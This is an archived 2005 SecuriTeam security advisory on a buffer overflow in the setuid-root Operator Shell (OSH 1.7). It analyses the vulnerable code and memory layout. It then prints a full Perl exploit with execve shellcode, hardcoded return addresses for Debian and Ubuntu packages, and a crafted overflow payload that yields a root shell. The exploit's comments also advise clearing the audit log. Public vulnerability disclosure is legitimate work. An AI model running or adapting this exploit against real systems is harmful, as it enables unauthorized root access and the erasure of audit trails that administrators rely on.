

# [UNIX] Buffer Overflow in OSH

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0060.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 02/15/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 15 Feb 2005 14:16:46 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Buffer Overflow in OSH

---

## SUMMARY

<<http://olympus.het.brown.edu/cgi-bin/man2html?osh+8>> The Operator Shell (OSH) is "a setuid root, security enhanced, restricted shell. It allows the administrator to carefully limit the access of special commands and files to the users whose duties require their use, while at the same time automatically maintaining audit records. The configuration file for OSH contains an administrator defined access profile for each authorized user or group".

A malicious user can exploit a buffer overflow vulnerability in OSH and gain root privileges on the vulnerable machine.

## DETAILS

Vulnerable Systems:

- \* OSH version 1.7

The patch for the overflows published by Steve Kemp seems lacking. If the following requirements are met we can overflow within the `iopen()` function:

- \* OSH must be invoked in non-interactive mode
- \* `argv[1]` must be a valid command according to `/etc/osh.conf`

## Securiteam: [UNIX] Buffer Overflow in OSH

(e.g. osh help \$(perl -e 'print "A"x8192')).

The offending code can be found at main.c:305

```
if (found) { /* It's a command, input is a string */
    inputfp=(FILE *)1;
    strcpy(inputstring, argv[1]); //XXX: command is copied into
inputstring
    for (i=3;i<=argc;i++) {
        strcat(inputstring, " "); //XXX: it adds a space
        strcat(inputstring, argv[i-1]); //XXX: and now overflow is possible
    }
    strcat(inputstring, "\n"); /* So it's a command */
```

So far so good. Looking at the declaration `static char inputstring[1024];` we can see that overflow is indeed possible. Here's the layout of memory:

```
+-----+
| Memory Layout |
+-----+
|0x804e340 <inputfp> |
|0x804e344 <prompt> |
|0x804e348 <pgetcptr> |
|0x804e34c <column.0> |
+--(can munge everything below)--+
|0x804e360 <inputstring> |
|0x804e760 <NUMENTRY> |
|0x804e764 <host> |
|0x804e778 <AliasCounter> |
|0x804e780 <Table> |
|0x804f380 <pwh> |
|0x804f3a0 <FileList> |
|0x804f540 <AliasList> |
|0x804f860 <lg> |
|0x804f864 <pw> |
+-----+
```

Table stores a bunch of function pointers to all the routines whether internally implemented or called via `execv`. So we try and overwrite the first entry with the address of our shellcode. There were several obstacles in between us and the rootshell though. First, there is a loop that performs `strcmp`'s on `AliasList` items. Rather than fill that out the author found that it is possible to set `AliasCounter` to `-1` and skip the loop entirely. Next notice that `argv[1]` has a builtin command `NUMENTRY`, if it is set to a positive integer `Table[0].prog_name` can set to match `argv[1]` and it'd call `Table[0].handler` (this is how "exit" was found in the executable itself thanks to `static struct hand Internal[]`).

From main.c:1032:

```
while (i<NUMENTRY)
    if (strcmp(Table[++i].prog_name,argv[0])==0)
        { found=1; break; }
```

```
...
if (strcmp(Table[i].prog_name, "exit")==0) {
    (*(Table[i].handler))(argc, argv);
    return(-2);
}
```

Table[0].path point to the NULL at the end of "exit" to prevent a crash. Finally there is a check @ line 256 in main.c which attempts to prevent overflow that can be circumvented, the author's choice was the ampersand due to the way select statement works:

```
while ((c != EOF) && (c != ';') && (c != '&') && (c != '|')
&& (c != '<') && (c != '>') && (c != '\n') && (c != ' ')
&& (c != '\t'))
c = pgetc();
if (c != EOF)
pungetc(c,inputfp);
return TTOOLONG;
```

Note: The user would have to be in the operator group which the admin would have to grant explicitly and would probably be a trustworthy individual...

Disclosure Timeline:

??/??/02 – First exploited OSH but though no one used it and just recently realised it was in Debian except they had patched the environment holes.  
References: CAN-2003-0452, BugTraq IDs: 7992, 7993  
02/03/05 – PoC causes logout() to record bogus username  
02/05/05 – FF rootshell!! h0h0h0!

Exploit Code:

```
#!/usr/bin/perl
#####
#
# OSH 1.7 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# Don't forget to clean /var/log/osh.log
#
#####
# PRIVATE – DO NOT DISTRIBUTE – PRIVATE #
#####

#####
# NOTES:
#####
# Here's how to get the addresses in case it doesn't work on your box:
# sh-3.00$ xxd /usr/sbin/osh | grep exit | grep -v _exit
# 0005080: 6578 6974 006c 6f75 6f75 7400 7465 7374 exit.logout.test
```

## Securiteam: [UNIX] Buffer Overflow in OSH

```
#
# sh-3.00$ osh more /proc/self/maps | grep osh
# 08048000-0804e000 r-xp 00000000 03:01 176445 /usr/sbin/osh
# ^--- add this together with 0x5080 to get the address of "exit"
#
# sh-3.00$ python -c "print hex(0x08048000 + 0x5080)"
# 0x804d080
#####

# "Osh is known to compile on: SunOS 4.1.3, Solaris 2.x, Unicos 6.x & 7.x
# (XMP and YMP), and VAX Ultrix 4.2, SGI IRIX, HP/UX, and AIX 3.2.5."
#
# So send me patches and rets if you have these systems ;-)
```

```
$exit_addy = pack("I",
#0x0804d39c # Ubuntu Linux
    # - osh_1.7-12_i386.deb
0x0804d080 # Debian Linux stable/testing/unstable
    # - osh_1.7-11woody1_i386.deb
    # - osh_1.7-12_i386.deb
);
```

```
# Yanked from one of KF's exploits.. werd brotha ;-)
```

```
$sc = "\x90" x (511-45) .
```

```
# 45 bytes by anthema. 0xff less
"\x89\xe6" . # /* movl %esp, %esi */
"\x83\xc6\x30" . # /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" . # /bin /* movl $0x6e69622e, %eax */
"\x40" . # /* incl %eax */
"\x89\x06" . # /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" . # /sh /* movl $0x2168732e, %eax */
"\x40" . # /* incl %eax */
"\x89\x46\x04" . # /* movl %eax, 0x04(%esi) */
"\x29\xc0" . # /* subl %eax, %eax */
"\x88\x46\x07" . # /* movb %al, 0x07(%esi) */
"\x89\x76\x08" . # /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" . # /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" . # /* movb $0x0b, %al */
"\x87\xf3" . # /* xchgl %esi, %ebx */
"\x8d\x4b\x08" . # /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" . # /* leal 0x0c(%ebx), %edx */
"\xcd\x80"; # /* int $0x80 */
```

```
print "\n\nOperator Shell (osh) 1.7-12 root exploit\n";
print "-----\n";
print "Written by Charles Stevenson <core@bokeoa.com>\n\n";
```

```
# Clear out the environment.
foreach $key (keys %ENV) { delete $ENV{$key}; }
```

## Securiteam: [UNIX] Buffer Overflow in OSH

```
# Setup simple env so ret is easier to guess
$ENV{"HELLCODE"} = "$sc";
$ENV{"TERM"} = "linux";
$ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin";

# Create the payload...
$egg = "&"x1019 . # pad up to NUMENTRY
    pack("l",0x01d5c001) . # overwrite with a positive int
    "&"x20 . # ampersand gets pas TTOOLONG
    pack("l",0xffffffff) . # AliasCounter = -1 skips for loop
    "core" . # shameless self-promotion
    $exit_addy . # address of "exit"
    pack("l",0xbffffe30) . # address of shellcode in ENV
    $exit_addy; # address of a NULL terminated string
system("/usr/sbin/osh exit '$egg'");

# EOF
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:core@bokeoa.com>> Charles Stevenson (core).

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.